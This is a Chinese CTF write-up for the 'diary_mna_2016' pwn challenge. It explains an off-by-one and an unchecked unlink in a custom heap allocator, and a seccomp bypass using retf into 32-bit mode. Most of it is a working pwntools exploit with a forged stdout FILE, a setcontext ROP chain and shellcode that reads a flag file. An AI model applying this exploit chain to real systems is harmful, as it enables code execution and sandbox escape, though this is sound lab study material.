diary_mna_2016
首先,检查一下程序的保护机制
然后检查一下沙箱机制,发现禁用了execve还有open函数,但是没有堆sys_number的范围进行判断,因此,可以利用retf切换到32位模式绕过沙箱。
然后,我们用IDA分析一下,输入函数存在off by one。
程序自己用链表实现了一个堆块管理器。
其free功能使用的是unlink,将堆块取出、合并等操作,但是缺少链表完整性检查
这里,我们unlink不能直接将got表修改为system_addr的地址,因为这里unlink的操作,要保证fd和bk都为可写的地址。因此,一个好的方法是设置fd为bss上stdout指针的地址-x10,设置bk为一个堆地址,这样,unlink以后stdout指针被修改为一个堆地址,我们只需要在堆里伪造好_IO_2_1_stdout_结构体即可。
由于heap是使用mmap映射出来的,因此,其地址靠近lib地址
但是其地址与libc地址的偏移在本地和远程是不一样的,但是可以在一个范围内爆破。爆破方法见我的这篇文章https://blog.csdn.net/seaaseesa/article/details/107072062。
#coding:utf8
from pwn import *
#sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'})
#sh = remote('node3.buuoj.cn',26394)
#sh = remote('127.0.0.1',8666)
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
stdout_bss_addr = 0x00000000006020F0
def add(index,size,content,line = True):
sh.sendlineafter('>>','1')
sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))
sh.sendlineafter('size',str(size))
if line:
sh.sendlineafter('happened on',content)
else:
sh.sendafter('happened on',content)
def show(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))
def delete(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))
def exploit(offset):
add(1,0x200,'a'*0xFF)
add(2,0x100,'b'*0xFF)
add(3,0x60,'c'*0x10)
add(4,0x120,'d'*0x10)
add(5,0x60,'e'*0x10)
delete(2)
add(2,0x100,'b',False)
show(2)
sh.recvuntil('\n')
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) ^ ord('b')
libc_base = heap_addr - offset
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
pop_rax = libc_base + 0x0000000000033544
jmp_rdi = libc_base + 0x000000000006caa4
'''pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
pop_rax = libc_base + 0x000000000003a738
jmp_rdi = libc_base + 0x000000000006cab4
'''
mprotect_addr = libc_base + libc.sym['mprotect']
setcontext_x = libc_base + libc.sym['setcontext'] + 0x35
print 'libc_base=',hex(libc_base)
fake_file = p64(0) + p64(0)
fake_file = fake_file.ljust(0x88,'\x00')
fake_file += p64(heap_addr - 0x4D0)
fake_file = fake_file.ljust(0xA0,'\x00')
fake_file += p64(heap_addr - 0x3E8)
fake_file += p64(pop_rdi)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0xFFFFFFFF)
fake_file += p64(0)*2
#vtable指针
fake_file += p64(heap_addr - 0x3F0 - 0x38)
fake_file += p64(setcontext_x) #vtable
shellcode_addr = heap_addr + 0x100
#接下来布置rop,跳到shellcode里去
fake_file += p64(shellcode_addr) + p64(pop_rsi) + p64(0x200) + p64(pop_rdx) + p64(0x7) + p64(mprotect_addr) + p64(jmp_rdi)
delete(1)
add(1,0x200,fake_file)
#先调用read输入32位shellcode,然后使用retf切换到32位模式,执行32位shellcode
shellcode = asm('''/*mmap*/
mov r9d,0
mov r8d,0xFFFFFFFF
mov r10,0x22
mov edx,7
mov esi,0x1000
mov edi,0x160000
mov eax,9
syscall
/*write*/
mov rax,0x3A7475706E69
push rax
mov rax,1
mov rdi,rax
mov rsi,rsp
mov rdx,6
syscall
/*read*/
xor rax,rax
xor rdi,rdi
mov rsi,0x160800
mov rdx,0x100
syscall
/*retf*/
xor rsp,rsp
mov esp,0x160700
mov dword ptr[esp+4],0x23
mov dword ptr[esp],0x160800
retf
''',arch="amd64")
add(6,0x200,shellcode)
delete(3)
payload = p64(stdout_bss_addr - 0x10) + p64(heap_addr - 0x4D0)
payload = payload.ljust(0x58,'c')
payload += p64(0x68) #prev_size
payload += p8(0x28)
add(3,0x60,payload,False)
#unlink修改stdout指针
delete(4)
shellcode = asm(shellcraft.open('./flag') + shellcraft.read(3,'esp',0x30) + shellcraft.write(1,'esp',0x30))
sh.sendafter('input:',shellcode)
for x in range(0xD0,0xFF):
try:
global sh
#sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('node3.buuoj.cn',26394)
offset = 0x5 << 20 #remote offset=0x5ee500
offset += x << 12
offset += 0x500
print hex(offset)
exploit(offset)
sh.interactive()
except:
sh.close()
print 'trying...'